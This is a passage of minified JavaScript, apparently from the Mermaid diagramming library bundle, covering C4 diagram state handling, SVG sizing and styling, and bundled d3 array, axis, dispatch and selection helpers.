]*["])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:[^,]+)/,/^(?:\{)/,/^(?:\})/,/^(?:[\s]+)/,/^(?:[\n\r]+)/,/^(?:$)/],conditions:{acc_descr_multiline:{rules:[11,12],inclusive:!1},acc_descr:{rules:[9],inclusive:!1},acc_title:{rules:[7],inclusive:!1},string_kv_value:{rules:[78,79],inclusive:!1},string_kv_key:{rules:[77],inclusive:!1},string_kv:{rules:[76],inclusive:!1},string:{rules:[73,74],inclusive:!1},attribute:{rules:[68,69,70,71,72,75,80],inclusive:!1},update_layout_config:{rules:[65,66,67,68],inclusive:!1},update_rel_style:{rules:[65,66,67,68],inclusive:!1},update_el_style:{rules:[65,66,67,68],inclusive:!1},rel_b:{rules:[65,66,67,68],inclusive:!1},rel_r:{rules:[65,66,67,68],inclusive:!1},rel_l:{rules:[65,66,67,68],inclusive:!1},rel_d:{rules:[65,66,67,68],inclusive:!1},rel_u:{rules:[65,66,67,68],inclusive:!1},rel_bi:{rules:[],inclusive:!1},rel:{rules:[65,66,67,68],inclusive:!1},node_r:{rules:[65,66,67,68],inclusive:!1},node_l:{rules:[65,66,67,68],inclusive:!1},node:{rules:[65,66,67,68],inclusive:!1},index:{rules:[],inclusive:!1},rel_index:{rules:[65,66,67,68],inclusive:!1},component_ext_queue:{rules:[],inclusive:!1},component_ext_db:{rules:[65,66,67,68],inclusive:!1},component_ext:{rules:[65,66,67,68],inclusive:!1},component_queue:{rules:[65,66,67,68],inclusive:!1},component_db:{rules:[65,66,67,68],inclusive:!1},component:{rules:[65,66,67,68],inclusive:!1},container_boundary:{rules:[65,66,67,68],inclusive:!1},container_ext_queue:{rules:[65,66,67,68],inclusive:!1},container_ext_db:{rules:[65,66,67,68],inclusive:!1},container_ext:{rules:[65,66,67,68],inclusive:!1},container_queue:{rules:[65,66,67,68],inclusive:!1},container_db:{rules:[65,66,67,68],inclusive:!1},container:{rules:[65,66,67,68],inclusive:!1},birel:{rules:[65,66,67,68],inclusive:!1},system_boundary:{rules:[65,66,67,68],inclusive:!1},enterprise_boundary:{rules:[65,66,67,68],inclusive:!1},boundary:{rules:[65,66,67,68],inclusive:!1},system_ext_queue:{rules:[65,66,67,68],inclusive:!1},system_ext_db:{rules:[65,66,67,68],inclusive:!1},system_ext:{rules:[65,66,67,68],inclusive:!1},system_queue:{rules:[65,66,67,68],inclusive:!1},system_db:{rules:[65,66,67,68],inclusive:!1},system:{rules:[65,66,67,68],inclusive:!1},person_ext:{rules:[65,66,67,68],inclusive:!1},person:{rules:[65,66,67,68],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,8,10,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,81,82,83,84,85],inclusive:!0}}};return He})();pe.lexer=Be;function Ye(){this.yy={}}return o(Ye,"Parser"),Ye.prototype=pe,pe.Parser=Ye,new Ye})();tv.parser=tv;nH=tv});var Xwe,jwe,mn,ic,Ei=N(()=>{"use strict";pt();Xwe=o(function(t,e){for(let r of e)t.attr(r[0],r[1])},"d3Attrs"),jwe=o(function(t,e,r){let n=new Map;return r?(n.set("width","100%"),n.set("style",`max-width: ${e}px;`)):(n.set("height",t),n.set("width",e)),n},"calculateSvgSizeAttrs"),mn=o(function(t,e,r,n){let i=jwe(e,r,n);Xwe(t,i)},"configureSvgSize"),ic=o(function(t,e,r,n){let i=e.node().getBBox(),a=i.width,s=i.height;X.info(`SVG bounds: ${a}x${s}`,i);let l=0,u=0;X.info(`Graph bounds: ${l}x${u}`,t),l=a+r*2,u=s+r*2,X.info(`Calculated bounds: ${l}x${u}`),mn(e,u,l,n);let h=`${i.x-r} ${i.y-r} ${i.width+2*r} ${i.height+2*r}`;e.attr("viewBox",h)},"setupGraphViewbox")});var $3,Kwe,iH,aH,NA=N(()=>{"use strict";pt();$3={},Kwe=o((t,e,r)=>{let n="";return t in $3&&$3[t]?n=$3[t](r):X.warn(`No theme found for ${t}`),` & { + font-family: ${r.fontFamily}; + font-size: ${r.fontSize}; + fill: ${r.textColor} + } + @keyframes edge-animation-frame { + from { + stroke-dashoffset: 0; + } + } + @keyframes dash { + to { + stroke-dashoffset: 0; + } + } + & .edge-animation-slow { + stroke-dasharray: 9,5 !important; + stroke-dashoffset: 900; + animation: dash 50s linear infinite; + stroke-linecap: round; + } + & .edge-animation-fast { + stroke-dasharray: 9,5 !important; + stroke-dashoffset: 900; + animation: dash 20s linear infinite; + stroke-linecap: round; + } + /* Classes common for multiple diagrams */ + + & .error-icon { + fill: ${r.errorBkgColor}; + } + & .error-text { + fill: ${r.errorTextColor}; + stroke: ${r.errorTextColor}; + } + + & .edge-thickness-normal { + stroke-width: 1px; + } + & .edge-thickness-thick { + stroke-width: 3.5px + } + & .edge-pattern-solid { + stroke-dasharray: 0; + } + & .edge-thickness-invisible { + stroke-width: 0; + fill: none; + } + & .edge-pattern-dashed{ + stroke-dasharray: 3; + } + .edge-pattern-dotted { + stroke-dasharray: 2; + } + + & .marker { + fill: ${r.lineColor}; + stroke: ${r.lineColor}; + } + & .marker.cross { + stroke: ${r.lineColor}; + } + + & svg { + font-family: ${r.fontFamily}; + font-size: ${r.fontSize}; + } + & p { + margin: 0 + } + + ${n} + + ${e} +`},"getStyles"),iH=o((t,e)=>{e!==void 0&&($3[t]=e)},"addStylesForDiagram"),aH=Kwe});var rv={};dr(rv,{clear:()=>Sr,getAccDescription:()=>Or,getAccTitle:()=>Mr,getDiagramTitle:()=>Pr,setAccDescription:()=>Ir,setAccTitle:()=>Rr,setDiagramTitle:()=>$r});var MA,IA,OA,PA,Sr,Rr,Mr,Ir,Or,$r,Pr,ci=N(()=>{"use strict";gr();qn();MA="",IA="",OA="",PA=o(t=>sr(t,Qt()),"sanitizeText"),Sr=o(()=>{MA="",OA="",IA=""},"clear"),Rr=o(t=>{MA=PA(t).replace(/^\s+/g,"")},"setAccTitle"),Mr=o(()=>MA,"getAccTitle"),Ir=o(t=>{OA=PA(t).replace(/\n\s+/g,` +`)},"setAccDescription"),Or=o(()=>OA,"getAccDescription"),$r=o(t=>{IA=PA(t)},"setDiagramTitle"),Pr=o(()=>IA,"getDiagramTitle")});var sH,Qwe,ge,nv,G3,iv,FA,Zwe,z3,xd,av,BA,Xt=N(()=>{"use strict";vd();pt();qn();gr();Ei();NA();ci();sH=X,Qwe=Dy,ge=Qt,nv=n3,G3=gh,iv=o(t=>sr(t,ge()),"sanitizeText"),FA=ic,Zwe=o(()=>rv,"getCommonDb"),z3={},xd=o((t,e,r)=>{z3[t]&&sH.warn(`Diagram with id ${t} already registered. Overwriting.`),z3[t]=e,r&&LA(t,r),iH(t,e.styles),e.injectUtils?.(sH,Qwe,ge,iv,FA,Zwe(),()=>{})},"registerDiagram"),av=o(t=>{if(t in z3)return z3[t];throw new BA(t)},"getDiagram"),BA=class extends Error{static{o(this,"DiagramNotFoundError")}constructor(e){super(`Diagram ${e} not found.`)}}});var ml,Eh,ns,pl,ac,sv,$A,zA,V3,U3,oH,Jwe,eke,tke,rke,nke,ike,ake,ske,oke,lke,cke,uke,hke,fke,dke,pke,mke,lH,gke,yke,cH,vke,xke,bke,Tke,Sh,wke,kke,Eke,Ske,Cke,ov,GA=N(()=>{"use strict";Xt();gr();ci();ml=[],Eh=[""],ns="global",pl="",ac=[{alias:"global",label:{text:"global"},type:{text:"global"},tags:null,link:null,parentBoundary:""}],sv=[],$A="",zA=!1,V3=4,U3=2,Jwe=o(function(){return oH},"getC4Type"),eke=o(function(t){oH=sr(t,ge())},"setC4Type"),tke=o(function(t,e,r,n,i,a,s,l,u){if(t==null||e===void 0||e===null||r===void 0||r===null||n===void 0||n===null)return;let h={},f=sv.find(d=>d.from===e&&d.to===r);if(f?h=f:sv.push(h),h.type=t,h.from=e,h.to=r,h.label={text:n},i==null)h.techn={text:""};else if(typeof i=="object"){let[d,p]=Object.entries(i)[0];h[d]={text:p}}else h.techn={text:i};if(a==null)h.descr={text:""};else if(typeof a=="object"){let[d,p]=Object.entries(a)[0];h[d]={text:p}}else h.descr={text:a};if(typeof s=="object"){let[d,p]=Object.entries(s)[0];h[d]=p}else h.sprite=s;if(typeof l=="object"){let[d,p]=Object.entries(l)[0];h[d]=p}else h.tags=l;if(typeof u=="object"){let[d,p]=Object.entries(u)[0];h[d]=p}else h.link=u;h.wrap=Sh()},"addRel"),rke=o(function(t,e,r,n,i,a,s){if(e===null||r===null)return;let l={},u=ml.find(h=>h.alias===e);if(u&&e===u.alias?l=u:(l.alias=e,ml.push(l)),r==null?l.label={text:""}:l.label={text:r},n==null)l.descr={text:""};else if(typeof n=="object"){let[h,f]=Object.entries(n)[0];l[h]={text:f}}else l.descr={text:n};if(typeof i=="object"){let[h,f]=Object.entries(i)[0];l[h]=f}else l.sprite=i;if(typeof a=="object"){let[h,f]=Object.entries(a)[0];l[h]=f}else l.tags=a;if(typeof s=="object"){let[h,f]=Object.entries(s)[0];l[h]=f}else l.link=s;l.typeC4Shape={text:t},l.parentBoundary=ns,l.wrap=Sh()},"addPersonOrSystem"),nke=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ml.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ml.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.techn={text:""};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.techn={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof a=="object"){let[f,d]=Object.entries(a)[0];u[f]=d}else u.sprite=a;if(typeof s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.wrap=Sh(),u.typeC4Shape={text:t},u.parentBoundary=ns},"addContainer"),ike=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ml.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ml.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.techn={text:""};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.techn={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof a=="object"){let[f,d]=Object.entries(a)[0];u[f]=d}else u.sprite=a;if(typeof s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.wrap=Sh(),u.typeC4Shape={text:t},u.parentBoundary=ns},"addComponent"),ake=o(function(t,e,r,n,i){if(t===null||e===null)return;let a={},s=ac.find(l=>l.alias===t);if(s&&t===s.alias?a=s:(a.alias=t,ac.push(a)),e==null?a.label={text:""}:a.label={text:e},r==null)a.type={text:"system"};else if(typeof r=="object"){let[l,u]=Object.entries(r)[0];a[l]={text:u}}else a.type={text:r};if(typeof n=="object"){let[l,u]=Object.entries(n)[0];a[l]=u}else a.tags=n;if(typeof i=="object"){let[l,u]=Object.entries(i)[0];a[l]=u}else a.link=i;a.parentBoundary=ns,a.wrap=Sh(),pl=ns,ns=t,Eh.push(pl)},"addPersonOrSystemBoundary"),ske=o(function(t,e,r,n,i){if(t===null||e===null)return;let a={},s=ac.find(l=>l.alias===t);if(s&&t===s.alias?a=s:(a.alias=t,ac.push(a)),e==null?a.label={text:""}:a.label={text:e},r==null)a.type={text:"container"};else if(typeof r=="object"){let[l,u]=Object.entries(r)[0];a[l]={text:u}}else a.type={text:r};if(typeof n=="object"){let[l,u]=Object.entries(n)[0];a[l]=u}else a.tags=n;if(typeof i=="object"){let[l,u]=Object.entries(i)[0];a[l]=u}else a.link=i;a.parentBoundary=ns,a.wrap=Sh(),pl=ns,ns=t,Eh.push(pl)},"addContainerBoundary"),oke=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ac.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ac.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.type={text:"node"};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.type={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.nodeType=t,u.parentBoundary=ns,u.wrap=Sh(),pl=ns,ns=e,Eh.push(pl)},"addDeploymentNode"),lke=o(function(){ns=pl,Eh.pop(),pl=Eh.pop(),Eh.push(pl)},"popBoundaryParseStack"),cke=o(function(t,e,r,n,i,a,s,l,u,h,f){let d=ml.find(p=>p.alias===e);if(!(d===void 0&&(d=ac.find(p=>p.alias===e),d===void 0))){if(r!=null)if(typeof r=="object"){let[p,m]=Object.entries(r)[0];d[p]=m}else d.bgColor=r;if(n!=null)if(typeof n=="object"){let[p,m]=Object.entries(n)[0];d[p]=m}else d.fontColor=n;if(i!=null)if(typeof i=="object"){let[p,m]=Object.entries(i)[0];d[p]=m}else d.borderColor=i;if(a!=null)if(typeof a=="object"){let[p,m]=Object.entries(a)[0];d[p]=m}else d.shadowing=a;if(s!=null)if(typeof s=="object"){let[p,m]=Object.entries(s)[0];d[p]=m}else d.shape=s;if(l!=null)if(typeof l=="object"){let[p,m]=Object.entries(l)[0];d[p]=m}else d.sprite=l;if(u!=null)if(typeof u=="object"){let[p,m]=Object.entries(u)[0];d[p]=m}else d.techn=u;if(h!=null)if(typeof h=="object"){let[p,m]=Object.entries(h)[0];d[p]=m}else d.legendText=h;if(f!=null)if(typeof f=="object"){let[p,m]=Object.entries(f)[0];d[p]=m}else d.legendSprite=f}},"updateElStyle"),uke=o(function(t,e,r,n,i,a,s){let l=sv.find(u=>u.from===e&&u.to===r);if(l!==void 0){if(n!=null)if(typeof n=="object"){let[u,h]=Object.entries(n)[0];l[u]=h}else l.textColor=n;if(i!=null)if(typeof i=="object"){let[u,h]=Object.entries(i)[0];l[u]=h}else l.lineColor=i;if(a!=null)if(typeof a=="object"){let[u,h]=Object.entries(a)[0];l[u]=parseInt(h)}else l.offsetX=parseInt(a);if(s!=null)if(typeof s=="object"){let[u,h]=Object.entries(s)[0];l[u]=parseInt(h)}else l.offsetY=parseInt(s)}},"updateRelStyle"),hke=o(function(t,e,r){let n=V3,i=U3;if(typeof e=="object"){let a=Object.values(e)[0];n=parseInt(a)}else n=parseInt(e);if(typeof r=="object"){let a=Object.values(r)[0];i=parseInt(a)}else i=parseInt(r);n>=1&&(V3=n),i>=1&&(U3=i)},"updateLayoutConfig"),fke=o(function(){return V3},"getC4ShapeInRow"),dke=o(function(){return U3},"getC4BoundaryInRow"),pke=o(function(){return ns},"getCurrentBoundaryParse"),mke=o(function(){return pl},"getParentBoundaryParse"),lH=o(function(t){return t==null?ml:ml.filter(e=>e.parentBoundary===t)},"getC4ShapeArray"),gke=o(function(t){return ml.find(e=>e.alias===t)},"getC4Shape"),yke=o(function(t){return Object.keys(lH(t))},"getC4ShapeKeys"),cH=o(function(t){return t==null?ac:ac.filter(e=>e.parentBoundary===t)},"getBoundaries"),vke=cH,xke=o(function(){return sv},"getRels"),bke=o(function(){return $A},"getTitle"),Tke=o(function(t){zA=t},"setWrap"),Sh=o(function(){return zA},"autoWrap"),wke=o(function(){ml=[],ac=[{alias:"global",label:{text:"global"},type:{text:"global"},tags:null,link:null,parentBoundary:""}],pl="",ns="global",Eh=[""],sv=[],Eh=[""],$A="",zA=!1,V3=4,U3=2},"clear"),kke={SOLID:0,DOTTED:1,NOTE:2,SOLID_CROSS:3,DOTTED_CROSS:4,SOLID_OPEN:5,DOTTED_OPEN:6,LOOP_START:10,LOOP_END:11,ALT_START:12,ALT_ELSE:13,ALT_END:14,OPT_START:15,OPT_END:16,ACTIVE_START:17,ACTIVE_END:18,PAR_START:19,PAR_AND:20,PAR_END:21,RECT_START:22,RECT_END:23,SOLID_POINT:24,DOTTED_POINT:25},Eke={FILLED:0,OPEN:1},Ske={LEFTOF:0,RIGHTOF:1,OVER:2},Cke=o(function(t){$A=sr(t,ge())},"setTitle"),ov={addPersonOrSystem:rke,addPersonOrSystemBoundary:ake,addContainer:nke,addContainerBoundary:ske,addComponent:ike,addDeploymentNode:oke,popBoundaryParseStack:lke,addRel:tke,updateElStyle:cke,updateRelStyle:uke,updateLayoutConfig:hke,autoWrap:Sh,setWrap:Tke,getC4ShapeArray:lH,getC4Shape:gke,getC4ShapeKeys:yke,getBoundaries:cH,getBoundarys:vke,getCurrentBoundaryParse:pke,getParentBoundaryParse:mke,getRels:xke,getTitle:bke,getC4Type:Jwe,getC4ShapeInRow:fke,getC4BoundaryInRow:dke,setAccTitle:Rr,getAccTitle:Mr,getAccDescription:Or,setAccDescription:Ir,getConfig:o(()=>ge().c4,"getConfig"),clear:wke,LINETYPE:kke,ARROWTYPE:Eke,PLACEMENT:Ske,setTitle:Cke,setC4Type:eke}});function bd(t,e){return t==null||e==null?NaN:te?1:t>=e?0:NaN}var VA=N(()=>{"use strict";o(bd,"ascending")});function UA(t,e){return t==null||e==null?NaN:et?1:e>=t?0:NaN}var uH=N(()=>{"use strict";o(UA,"descending")});function Td(t){let e,r,n;t.length!==2?(e=bd,r=o((l,u)=>bd(t(l),u),"compare2"),n=o((l,u)=>t(l)-u,"delta")):(e=t===bd||t===UA?t:Ake,r=t,n=t);function i(l,u,h=0,f=l.length){if(h>>1;r(l[d],u)<0?h=d+1:f=d}while(h>>1;r(l[d],u)<=0?h=d+1:f=d}while(hh&&n(l[d-1],u)>-n(l[d],u)?d-1:d}return o(s,"center"),{left:i,center:s,right:a}}function Ake(){return 0}var HA=N(()=>{"use strict";VA();uH();o(Td,"bisector");o(Ake,"zero")});function qA(t){return t===null?NaN:+t}var hH=N(()=>{"use strict";o(qA,"number")});var fH,dH,_ke,Dke,WA,pH=N(()=>{"use strict";VA();HA();hH();fH=Td(bd),dH=fH.right,_ke=fH.left,Dke=Td(qA).center,WA=dH});function mH({_intern:t,_key:e},r){let n=e(r);return t.has(n)?t.get(n):r}function Lke({_intern:t,_key:e},r){let n=e(r);return t.has(n)?t.get(n):(t.set(n,r),r)}function Rke({_intern:t,_key:e},r){let n=e(r);return t.has(n)&&(r=t.get(n),t.delete(n)),r}function Nke(t){return t!==null&&typeof t=="object"?t.valueOf():t}var D0,gH=N(()=>{"use strict";D0=class extends Map{static{o(this,"InternMap")}constructor(e,r=Nke){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:r}}),e!=null)for(let[n,i]of e)this.set(n,i)}get(e){return super.get(mH(this,e))}has(e){return super.has(mH(this,e))}set(e,r){return super.set(Lke(this,e),r)}delete(e){return super.delete(Rke(this,e))}};o(mH,"intern_get");o(Lke,"intern_set");o(Rke,"intern_delete");o(Nke,"keyof")});function H3(t,e,r){let n=(e-t)/Math.max(0,r),i=Math.floor(Math.log10(n)),a=n/Math.pow(10,i),s=a>=Mke?10:a>=Ike?5:a>=Oke?2:1,l,u,h;return i<0?(h=Math.pow(10,-i)/s,l=Math.round(t*h),u=Math.round(e*h),l/he&&--u,h=-h):(h=Math.pow(10,i)*s,l=Math.round(t/h),u=Math.round(e/h),l*he&&--u),u0))return[];if(t===e)return[t];let n=e=i))return[];let l=a-i+1,u=new Array(l);if(n)if(s<0)for(let h=0;h{"use strict";Mke=Math.sqrt(50),Ike=Math.sqrt(10),Oke=Math.sqrt(2);o(H3,"tickSpec");o(q3,"ticks");o(lv,"tickIncrement");o(L0,"tickStep")});function W3(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r=i)&&(r=i)}return r}var vH=N(()=>{"use strict";o(W3,"max")});function Y3(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r>n||r===void 0&&n>=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r>i||r===void 0&&i>=i)&&(r=i)}return r}var xH=N(()=>{"use strict";o(Y3,"min")});function X3(t,e,r){t=+t,e=+e,r=(i=arguments.length)<2?(e=t,t=0,1):i<3?1:+r;for(var n=-1,i=Math.max(0,Math.ceil((e-t)/r))|0,a=new Array(i);++n{"use strict";o(X3,"range")});var Ch=N(()=>{"use strict";pH();HA();vH();xH();bH();yH();gH()});function YA(t){return t}var TH=N(()=>{"use strict";o(YA,"default")});function Pke(t){return"translate("+t+",0)"}function Bke(t){return"translate(0,"+t+")"}function Fke(t){return e=>+t(e)}function $ke(t,e){return e=Math.max(0,t.bandwidth()-e*2)/2,t.round()&&(e=Math.round(e)),r=>+t(r)+e}function zke(){return!this.__axis}function kH(t,e){var r=[],n=null,i=null,a=6,s=6,l=3,u=typeof window<"u"&&window.devicePixelRatio>1?0:.5,h=t===K3||t===j3?-1:1,f=t===j3||t===XA?"x":"y",d=t===K3||t===jA?Pke:Bke;function p(m){var g=n??(e.ticks?e.ticks.apply(e,r):e.domain()),y=i??(e.tickFormat?e.tickFormat.apply(e,r):YA),v=Math.max(a,0)+l,x=e.range(),b=+x[0]+u,T=+x[x.length-1]+u,S=(e.bandwidth?$ke:Fke)(e.copy(),u),w=m.selection?m.selection():m,k=w.selectAll(".domain").data([null]),A=w.selectAll(".tick").data(g,e).order(),C=A.exit(),R=A.enter().append("g").attr("class","tick"),I=A.select("line"),L=A.select("text");k=k.merge(k.enter().insert("path",".tick").attr("class","domain").attr("stroke","currentColor")),A=A.merge(R),I=I.merge(R.append("line").attr("stroke","currentColor").attr(f+"2",h*a)),L=L.merge(R.append("text").attr("fill","currentColor").attr(f,h*v).attr("dy",t===K3?"0em":t===jA?"0.71em":"0.32em")),m!==w&&(k=k.transition(m),A=A.transition(m),I=I.transition(m),L=L.transition(m),C=C.transition(m).attr("opacity",wH).attr("transform",function(E){return isFinite(E=S(E))?d(E+u):this.getAttribute("transform")}),R.attr("opacity",wH).attr("transform",function(E){var D=this.parentNode.__axis;return d((D&&isFinite(D=D(E))?D:S(E))+u)})),C.remove(),k.attr("d",t===j3||t===XA?s?"M"+h*s+","+b+"H"+u+"V"+T+"H"+h*s:"M"+u+","+b+"V"+T:s?"M"+b+","+h*s+"V"+u+"H"+T+"V"+h*s:"M"+b+","+u+"H"+T),A.attr("opacity",1).attr("transform",function(E){return d(S(E)+u)}),I.attr(f+"2",h*a),L.attr(f,h*v).text(y),w.filter(zke).attr("fill","none").attr("font-size",10).attr("font-family","sans-serif").attr("text-anchor",t===XA?"start":t===j3?"end":"middle"),w.each(function(){this.__axis=S})}return o(p,"axis"),p.scale=function(m){return arguments.length?(e=m,p):e},p.ticks=function(){return r=Array.from(arguments),p},p.tickArguments=function(m){return arguments.length?(r=m==null?[]:Array.from(m),p):r.slice()},p.tickValues=function(m){return arguments.length?(n=m==null?null:Array.from(m),p):n&&n.slice()},p.tickFormat=function(m){return arguments.length?(i=m,p):i},p.tickSize=function(m){return arguments.length?(a=s=+m,p):a},p.tickSizeInner=function(m){return arguments.length?(a=+m,p):a},p.tickSizeOuter=function(m){return arguments.length?(s=+m,p):s},p.tickPadding=function(m){return arguments.length?(l=+m,p):l},p.offset=function(m){return arguments.length?(u=+m,p):u},p}function KA(t){return kH(K3,t)}function QA(t){return kH(jA,t)}var K3,XA,jA,j3,wH,EH=N(()=>{"use strict";TH();K3=1,XA=2,jA=3,j3=4,wH=1e-6;o(Pke,"translateX");o(Bke,"translateY");o(Fke,"number");o($ke,"center");o(zke,"entering");o(kH,"axis");o(KA,"axisTop");o(QA,"axisBottom")});var SH=N(()=>{"use strict";EH()});function AH(){for(var t=0,e=arguments.length,r={},n;t=0&&(n=r.slice(i+1),r=r.slice(0,i)),r&&!e.hasOwnProperty(r))throw new Error("unknown type: "+r);return{type:r,name:n}})}function Uke(t,e){for(var r=0,n=t.length,i;r{"use strict";Gke={value:o(()=>{},"value")};o(AH,"dispatch");o(Q3,"Dispatch");o(Vke,"parseTypenames");Q3.prototype=AH.prototype={constructor:Q3,on:o(function(t,e){var r=this._,n=Vke(t+"",r),i,a=-1,s=n.length;if(arguments.length<2){for(;++a0)for(var r=new Array(i),n=0,i,a;n{"use strict";_H()});var Z3,e8,t8=N(()=>{"use strict";Z3="http://www.w3.org/1999/xhtml",e8={svg:"http://www.w3.org/2000/svg",xhtml:Z3,xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"}});function sc(t){var e=t+="",r=e.indexOf(":");return r>=0&&(e=t.slice(0,r))!=="xmlns"&&(t=t.slice(r+1)),e8.hasOwnProperty(e)?{space:e8[e],local:t}:t}var J3=N(()=>{"use strict";t8();o(sc,"default")});function Hke(t){return function(){var e=this.ownerDocument,r=this.namespaceURI;return r===Z3&&e.documentElement.namespaceURI===Z3?e.createElement(t):e.createElementNS(r,t)}}function qke(t){return function(){return this.ownerDocument.createElementNS(t.space,t.local)}}function cv(t){var e=sc(t);return(e.local?qke:Hke)(e)}var r8=N(()=>{"use strict";J3();t8();o(Hke,"creatorInherit");o(qke,"creatorFixed");o(cv,"default")});function Wke(){}function Ah(t){return t==null?Wke:function(){return this.querySelector(t)}}var e5=N(()=>{"use strict";o(Wke,"none");o(Ah,"default")});function n8(t){typeof t!="function"&&(t=Ah(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";gl();e5();o(n8,"default")});function i8(t){return t==null?[]:Array.isArray(t)?t:Array.from(t)}var LH=N(()=>{"use strict";o(i8,"array")});function Yke(){return[]}function R0(t){return t==null?Yke:function(){return this.querySelectorAll(t)}}var a8=N(()=>{"use strict";o(Yke,"empty");o(R0,"default")});function Xke(t){return function(){return i8(t.apply(this,arguments))}}function s8(t){typeof t=="function"?t=Xke(t):t=R0(t);for(var e=this._groups,r=e.length,n=[],i=[],a=0;a{"use strict";gl();LH();a8();o(Xke,"arrayAll");o(s8,"default")});function N0(t){return function(){return this.matches(t)}}function t5(t){return function(e){return e.matches(t)}}var uv=N(()=>{"use strict";o(N0,"default");o(t5,"childMatcher")});function Kke(t){return function(){return jke.call(this.children,t)}}function Qke(){return this.firstElementChild}function o8(t){return this.select(t==null?Qke:Kke(typeof t=="function"?t:t5(t)))}var jke,NH=N(()=>{"use strict";uv();jke=Array.prototype.find;o(Kke,"childFind");o(Qke,"childFirst");o(o8,"default")});function Jke(){return Array.from(this.children)}function eEe(t){return function(){return Zke.call(this.children,t)}}function l8(t){return this.selectAll(t==null?Jke:eEe(typeof t=="function"?t:t5(t)))}var Zke,MH=N(()=>{"use strict";uv();Zke=Array.prototype.filter;o(Jke,"children");o(eEe,"childrenFilter");o(l8,"default")});function c8(t){typeof t!="function"&&(t=N0(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";gl();uv();o(c8,"default")});function hv(t){return new Array(t.length)}var u8=N(()=>{"use strict";o(hv,"default")});function h8(){return new ui(this._enter||this._groups.map(hv),this._parents)}function fv(t,e){this.ownerDocument=t.ownerDocument,this.namespaceURI=t.namespaceURI,this._next=null,this._parent=t,this.__data__=e}var f8=N(()=>{"use strict";u8();gl();o(h8,"default");o(fv,"EnterNode");fv.prototype={constructor:fv,appendChild:o(function(t){return this._parent.insertBefore(t,this._next)},"appendChild"),insertBefore:o(function(t,e){return this._parent.insertBefore(t,e)},"insertBefore"),querySelector:o(function(t){return this._parent.querySelector(t)},"querySelector"),querySelectorAll:o(function(t){return this._parent.querySelectorAll(t)},"querySelectorAll")}});function d8(t){return function(){return t}}var OH=N(()=>{"use strict";o(d8,"default")});function tEe(t,e,r,n,i,a){for(var s=0,l,u=e.length,h=a.length;s=T&&(T=b+1);!(w=v[T])&&++T{"use strict";gl();f8();OH();o(tEe,"bindIndex");o(rEe,"bindKey");o(nEe,"datum");o(p8,"default");o(iEe,"arraylike")});function m8(){return new ui(this._exit||this._groups.map(hv),this._parents)}var BH=N(()=>{"use strict";u8();gl();o(m8,"default")});function g8(t,e,r){var n=this.enter(),i=this,a=this.exit();return typeof t=="function"?(n=t(n),n&&(n=n.selection())):n=n.append(t+""),e!=null&&(i=e(i),i&&(i=i.selection())),r==null?a.remove():r(a),n&&i?n.merge(i).order():i}var FH=N(()=>{"use strict";o(g8,"default")});function y8(t){for(var e=t.selection?t.selection():t,r=this._groups,n=e._groups,i=r.length,a=n.length,s=Math.min(i,a),l=new Array(i),u=0;u{"use strict";gl();o(y8,"default")});function v8(){for(var t=this._groups,e=-1,r=t.length;++e=0;)(s=n[i])&&(a&&s.compareDocumentPosition(a)^4&&a.parentNode.insertBefore(s,a),a=s);return this}var zH=N(()=>{"use strict";o(v8,"default")});function x8(t){t||(t=aEe);function e(d,p){return d&&p?t(d.__data__,p.__data__):!d-!p}o(e,"compareNode");for(var r=this._groups,n=r.length,i=new Array(n),a=0;ae?1:t>=e?0:NaN}var GH=N(()=>{"use strict";gl();o(x8,"default");o(aEe,"ascending")});function b8(){var t=arguments[0];return arguments[0]=this,t.apply(null,arguments),this}var VH=N(()=>{"use strict";o(b8,"default")});function T8(){return Array.from(this)}var UH=N(()=>{"use strict";o(T8,"default")});function w8(){for(var t=this._groups,e=0,r=t.length;e{"use strict";o(w8,"default")});function k8(){let t=0;for(let e of this)++t;return t}var qH=N(()=>{"use strict";o(k8,"default")});function E8(){return!this.node()}var WH=N(()=>{"use strict";o(E8,"default")});function S8(t){for(var 